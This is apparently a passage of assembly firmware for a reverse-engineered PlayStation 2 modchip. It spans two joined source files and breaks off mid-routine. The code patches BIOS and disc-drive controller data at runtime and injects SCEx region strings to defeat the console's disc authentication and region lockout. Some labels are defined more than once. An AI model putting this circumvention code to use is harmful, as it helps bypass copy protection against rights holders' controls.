IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP end
1nick9/PS2-Magic-ICE-FINAL-REVERSE	131,705	randomWIPsince-reverse/v14-improve.s	;****************************************************************************** ; h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.sxh hash 3158b96dd151bdd71406c4c05b80915e ;**************************************************************************** ;DEFINE ;expermenting defines, not needed. ;SX48RAM = 1 ; unneeded memory remap, has issues with 75k ps1drv, likely some wrong cals ;SX Chip used. SX48 uncomment below. SX28 have commented. SX48 = 1 ; uncomment for compiling for sx48 else is compiled for sx28 F=TR RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. sx28 or this and next define aswell for sx48 E51E9226F0360FBAA2510BDFDA0BC433 ;USE SX48RSTBUMP ONLY FOR SX COMPILING FOR SX48. Both RSTBUMP and SX48RSTBUMP must be on SX48RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. for sx48 with RSTBUMP uncommented 4D74D099733ACDDCBB4F046B4258B20C ;V14/V8jap identiy jmpers. if using sx48 needs the trim, sx28 either can go but stock code is without trim H2O75KJMPERS = 1 ; uncomment for compiling with restbump for ps1mode. if compiling for rstbmp use one of the sx28/sx48 with h2o v14usa/v14jap/v8jap ident jmpers else use F=TR defines 3158B96DD151BDD71406C4C05B80915E SX48H2O75KJMPERSTRIM = 1 ; needed if using h2o jmpers ident with sx48 rstbmp. h needs to go to 5v if not jap console or triggers my cad. D146DFD2DFC6F641029CA7A2A1529DD3 ;USE ONLY IF F=TR or RSTBUMP without H2O75KJMPERS. ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal sx28 0F465F30D6207AF98456841781DEC442 sx48 A7B089F1BEFF0EE9EE002CB378A1D018 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa sx28 0F7BAA63B5735E9A0D7C40BAF4E57A7B sx48 CD93EF4293DA0171269FE8C42E7E6D1E ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap sx28 17F5B31F88A8CF440BF83BB7B52587F4 sx48 8A998B76CC47D7A65D7C61A4F2901570 ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;; checksums 75kps1yfix not updated ;only rstbump v8jap tested but rest should be right IFDEF SX48 device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ELSE device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ENDIF ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) IFDEF SX48 ;regs sx48 VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ELSE ;regs sx28 VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ENDIF ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. JAP_V8 = VAR_SWITCH.2 X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models V0_FLAG = VAR_SWITCH.6 ;V0 10-18K console flag ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 IFDEF SX48 ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $0FFF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip **************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w IFDEF H2O75KJMPERS mov w,#$1e ;; extra needed for io v14jmp mov m,w mov w,#$be mov !IO_CDDVD_BUS,w ;; end extra io v14jmp ENDIF mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ELSE org $07FF reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip ****************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... IFDEF H2O75KJMPERS mode $000E ;? ;; h and f io jmpers needed/extra 75k/v8jap mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w ;; end ENDIF mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ENDIF ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)2560.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- IFDEF SX48 mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ELSE mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ENDIF ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; JAP 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; UK 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- IFDEF SX48 snb USA_FLAG jmp usa ;; idea for space usa flow trigger snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ELSE snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#8;$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#4;$4 mov VAR_DC4,w jmp SCEx_IO_SET SCEx_IO_SET mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ENDIF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low nop ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop ENDIF mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z ;; alt v0 ident if C jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start 